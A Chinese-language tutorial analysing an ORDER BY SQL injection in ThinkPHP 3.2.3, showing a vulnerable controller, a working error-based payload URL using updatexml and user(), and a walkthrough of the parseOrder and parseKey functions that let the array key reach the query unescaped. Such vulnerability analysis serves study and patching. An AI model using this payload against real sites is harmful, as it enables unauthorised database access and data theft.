PHP教程

thinkphp3.2 order注入

本文主要是介绍thinkphp3.2 order注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

控制器代码:

    public function index(){
        $username=I("username");
        $order=I("order");
        $data=M('users')->where(array('username'=>$username))->order($order)->select();
        dump($data);
    }

 

复现:

payload:

http://localhost/tp/tp3.2.3/?username=1jzz&order[updatexml(1,concat(0x3a,user()),1)]

 

 

分析:

1、parseOrder函数分析

 1     protected function parseOrder($order) {
 2         if(is_array($order)) {
 3             $array   =  array();
 4             foreach ($order as $key=>$val){
 5                 if(is_numeric($key)) {
 6                     $array[] =  $this->parseKey($val);
 7                 }else{
 8                     $array[] =  $this->parseKey($key).' '.$val;
 9                 }
10             }
11             $order   =  implode(',',$array);
12         }
13         return !empty($order)?  ' ORDER BY '.$order:'';
14     }

这里我们传入的order数组中,key值为我们所要注入的代码,value值则为空。

经过第5行的if判断,这里的key值不为数字或者数字字符串,接着执行第8行的代码。

 

2、parseKey函数分析

1     protected function parseKey(&$key) {
2         $key   =  trim($key);
3         if(!is_numeric($key) && !preg_match('/[,\'\"\*\(\)`.\s]/',$key)) {
4            $key = '`'.$key.'`';
5         }
6         return $key;
7     }

这里返回了传入的key值,并切成功的加在的sql语句中,形成sql注入

 

这篇关于thinkphp3.2 order注入的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!